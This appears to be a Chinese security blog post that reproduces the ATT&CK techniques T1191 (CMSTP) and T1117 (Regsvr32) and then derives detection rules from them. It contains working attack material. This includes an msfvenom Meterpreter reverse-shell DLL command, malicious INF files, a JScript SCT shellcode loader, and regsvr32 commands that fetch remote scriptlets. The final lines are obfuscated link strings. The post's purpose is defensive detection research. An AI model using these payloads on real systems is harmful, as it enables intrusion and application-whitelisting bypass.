ATT&CK攻防初窥系列--执行篇(二)
继上篇ATT&CK攻防初窥系列--执行篇(一),我们复现并提取了T1196- Control Panel Items、T1220- XSL Script Processing检测特征后本篇我们复现一下T1191-CMSTP、T1117-Regsvr32并提取其检测特征。
Microsoft连接管理器配置文件安装程序(CMSTP.exe)是用于安装连接管理器服务配置文件的命令行程序。CMSTP.exe接受安装信息文件(INF)作为参数,并安装用于远程访问连接的服务配置文件。
攻击者可能会使用CMSTP.exe调用恶意的INF文件。与Regsvr32 相似,CMSTP.exe可能被利用从远程服务器加载和执行DLL或COM脚本(SCT)。由于CMSTP.exe是合法的,经过签名的Microsoft应用程序,因此该执行过程也可以绕过AppLocker和其他白名单防御。
CMSTP.exe也可以通过自动提升的COM接口从恶意INF执行任意命令绕过用户帐户控制
创建dll后门文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.58.133 LPORT=9999 -f dll -o backdoor.dll
创建恶意的INF文件
;cmstp_dll.inf
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
[RegisterOCXSection]
C:\Users\777\Desktop\AH\backdoor.dll
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
Service
ShortSvc
将DLL和INF传输到目标主机,使用cmstp.exe调用恶意的INF文件
cmstp /s cmstp_dll.inf
执行cmstp上线主机


建立HTTP服务器,放置SCT payload文件
<?XML version="1.0"?>
<scriptlet>
<registration
prog
class >
<script language="JScript">
<![CDATA[
function setversion() {
var shell = new ActiveXObject('WScript.Shell');
ver = 'v4.0.30319';
try {
shell.RegRead('HKLM\\SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\');
} catch(e) {
ver = 'v2.0.50727';
}
shell.Environment('Process')('COMPLUS_Version') = ver;
}
function debug(s) {}
function base64ToStream(b) {
var enc = new ActiveXObject("System.Text.ASCIIEncoding");
var length = enc.GetByteCount_2(b);
var ba = enc.GetBytes_4(b);
var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
ba = transform.TransformFinalBlock(ba, 0, length);
var ms = new ActiveXObject("System.IO.MemoryStream");
ms.Write(ba, 0, (length / 4) * 3);
ms.Position = 0;
return ms;
}
var serialized_obj = ${PAYLOAD};
var entry_class = 'ShellCodeLauncher.Program';
try {
setversion();
var stm = base64ToStream(serialized_obj);
var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
var al = new ActiveXObject('System.Collections.ArrayList');
var d = fmt.Deserialize_2(stm);
al.Add(undefined);
var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
} catch (e) {
debug(e.message);
}
]]>
</script>
</registration>
</scriptlet>
配置恶意的INF文件
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection
[UnRegisterOCXSection]
%11%\scrobj.dll,NI,4feK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0f1^5i4K6u0W2x3e0x3#2i4K6y4m8z5o6l9H3x3q4)9J5c8X3u0T1i4K6u0W2M7$3y4@1
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
Service
ShortSvc
执行cmstp上线主机


进程特征:(级别:高)
# 当cmstp.exe作为父进程创建其他进程时,视为可疑
ParentImage contians 'cmstp.exe'


网络特征:(级别:仅审计)
# 当调用rundll32.exe运行dll时,若dll为通讯后门或drop程序,可能会连接外网C2或者下载后门程序,此时会发起网络连接,可审计rundll32的网络通讯结合其他类型日志进行分析
eventNum = 3 AND Image contians 'rundll32.exe'

加载项特征:(级别:高)
# 当使用sct文件作为payload时,cmstp会直接创建COM对象进行执行,所以在进程行为上看不见父子关系。但使用sct时,会执行sct文件中的脚本,此时就会调用jscript、vbscript此类脚本dll,视为可疑行为。
eventid = 7 AND ImageLoaded contains ('jscript' OR 'vbscript') AND Image contains 'cmstp.exe'



网络特征:(级别:高)
# 当使用sct文件作为payload时,由cmstp进程直接发起通讯,cmstp本身为配置安装服务配置程序,一般不会发起网络连接,故此视为可疑行为
eventNum = 3 AND Image contains 'cmstp.exe'

Regsvr32.exe是一个命令行程序,用于在Windows系统上注册和取消注册对象链接,嵌入控件和动态链接库。Regsvr32.exe可用于执行任意二进制文件。
攻击者可以利用此功能来代理攻击代码的执行,以避免触发安全工具,这些工具可能无法监视regsvr32.exe进程的执行和加载的模块,因为Windows使用regsvr32.exe进行正常操作时会出现白名单或误报。Regsvr32.exe也是Microsoft签名的二进制文件。
Regsvr32.exe还可用于专门绕过进程白名单,使用功能加载COM scriptlet以在用户权限下执行DLL。由于regsvr32.exe具有网络功能,因此可以调用远程脚本来执行代码。
读取远程payload执行
regsvr32 /s /n /u /i:<url/aa.sct> scrobj.dll
读取本地payload执行
regsvr32 /s /n /u /i:<aa.sct> scrobj.dll
1. 建立aaa.sct文件放至HTTP服务
File: aa.sct
<?XML version="1.0"?>
<scriptlet>
<registration
prog
class >
<script language="JScript">
<![CDATA[
var foo = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>
root@kali:~/L/sct# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

该技术用户后门的方式与远程命令执行类似,在调用远程脚本去掉选项 /n /u 让COM对象注册到注册表中,需要用脚本执行COM对象才能执行(这种方式还需要其他的机制触发脚本运行才能稳定控制,有点鸡肋),所以通过COM劫持替换常被调用的COM对象来实现驻留更为有效,COM劫持本篇不讨论,留在后门的文章详说。
1. 创建COM对象的sct文件
<?XML version="1.0"?>
<scriptlet>
<registration
prog
class
>
</registration>
<public>
<method>
</method>
</public>
<script language="JScript">
<![CDATA[
function exec(){
new ActiveXObject('WScript.Shell').Run('calc.exe');
}
]]>
</script>
</scriptlet>
2. 创建执行脚本调用COM对象
var test = new ActiveXObject("Test");
test.exec()
此时在注册表可以看见注册的COM对象


1. Regsvr32的参数含义
Regsvr32 [/s] [/n] [/i[:cmdline]] dllname
/u 卸载安装的控件,卸载服务器注册
/s 注册成功后不显示操作成功信息框
/i 调用DllInstall函数并把可选参数[cmdline]传给它,当使用/u时用来卸载DLL
/n 不调用DllRegisterServer,该参数必须和/i一起使用
当使用 /u 时,命令不会在注册表注册COM对象,只会执行远程的scriptlet
2. srcobj.dll起到什么作用
Scrobj.dll用于注册和取消注册COM对象,这是触发此操作所需的。详情见此
命令行特征:(级别:高)
# 不管是本地还是远程调用,都必须要关键字regsvr32,\i,scrobj.dll
eventid = 1 AND cmdline regex regsvr32\s+.*\i:.*?\s+scrobj.dll

加载项特征:(级别:高)
# 在执行scriptlet是会使用Jscript或者vbscript脚本,这样系统就会调用脚本程序
eventid = 7 AND ImageLoaded contains ('jscript' OR 'vbscript') AND Image contains 'regsvr32.exe'

验证vbscript作为payload确认会调用
<?XML version="1.0"?>
<scriptlet>
<registration
prog
class >
<script language="vbscript">
<![CDATA[
set foo = createobject("WScript.Shell")
foo.Run("cmd.exe /c calc.exe")
]]>
</script>
</registration>
</scriptlet>

进程特征:(级别:中)
# 当regsvr32作为父进程创建其他程序时是一种可疑行为
eventNum = 1 AND ParentImage contains 'regsvr32.exe'

7e1K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6S2N6s2c8S2j5$3E0Q4x3X3g2E0K9i4c8J5k6g2)9J5k6h3!0J5k6#2)9J5c8Y4c8W2j5$3S2F1K9i4q4#2k6i4y4Q4x3V1k6f1x3e0p5&6x3g2)9J5c8R3`.`.
489K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3k6h3&6@1k6i4y4@1L8r3q4T1i4K6u0W2j5X3I4G2k6#2)9J5c8U0t1H3x3e0S2Q4x3V1j5H3y4g2)9J5c8U0p5H3i4K6u0r3j5i4m8H3L8r3!0U0K9$3g2J5i4K6u0V1j5Y4W2H3j5i4y4K6i4K6u0V1j5$3#2K6N6s2m8Q4x3V1j5`.
068K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6G2k6r3c8$3j5i4u0Q4x3X3g2E0L8$3g2Q4x3V1j5J5x3o6p5%4i4K6u0r3x3o6S2Q4x3V1j5I4y4g2)9J5c8Y4u0W2M7$3g2S2M7X3y4Z5i4K6u0V1L8$3&6Q4x3X3c8U0L8i4y4@1M7q4)9J5k6r3g2^5k6g2)9J5c8R3`.`.
c3aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0M7$3W2@1M7s2u0G2M7#2)9J5k6h3y4G2L8g2)9J5c8W2)9K6c8Y4m8Q4x3@1b7K6z5e0j5H3
401K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6S2N6s2c8S2j5$3E0Q4x3X3g2E0K9i4c8J5k6g2)9J5k6h3!0J5k6#2)9J5c8Y4c8W2j5$3S2F1K9i4q4#2k6i4y4Q4x3V1k6f1x3e0p5I4y4#2)9J5c8R3`.`.
1ceK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2U0j5i4u0T1L8$3&6T1L8r3q4U0K9#2)9J5k6h3y4G2L8g2)9J5c8U0t1H3x3e0k6Q4x3V1j5H3y4q4)9J5c8U0t1^5i4K6u0r3N6r3S2J5k6h3q4@1i4K6u0V1j5h3c8$3K9i4y4G2M7Y4W2Q4x3X3c8K6M7i4g2A6j5X3I4&6k6r3!0G2i4K6u0V1j5$3!0F1N6r3W2F1N6h3g2K6i4K6u0V1N6s2u0W2L8X3c8Q4x3X3c8G2k6W2)9J5k6r3q4@1N6r3q4U0K9$3g2J5M7#2)9J5k6s2g2K6K9h3&6Y4i4K6u0V1L8X3q4@1K9i4k6W2i4K6u0V1L8%4y4Q4x3X3c8@1L8$3!0D9M7#2)9J5k6s2c8G2i4K6u0V1L8r3W2$3k6g2)9J5k6r3!0X3k6W2)9J5k6s2c8Z5k6g2)9J5k6r3I4S2L8X3c8Q4x3V1j5`.
665K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6k6h3y4#2M7X3W2@1P5g2)9J5k6i4y4@1j5h3y4C8k6i4S2U0K9r3q4F1k6$3g2Q4x3X3g2U0L8$3#2Q4x3V1k6I4N6h3g2K6N6r3W2G2L8Y4y4Q4x3V1j5I4z5o6x3H3x3U0q4Q4x3V1k6Z5L8%4N6Q4x3X3c8V1L8$3g2K6i4K6u0V1N6r3S2A6M7#2)9J5k6r3q4H3M7r3I4G2j5$3E0W2M7W2)9J5k6r3u0&6M7r3q4K6M7#2)9J5k6s2N6G2M7X3E0Q4x3X3c8W2P5r3q4U0N6r3I4&6i4K6u0V1M7%4q4#2K9h3u0T1L8s2W2V1L8$3)9`.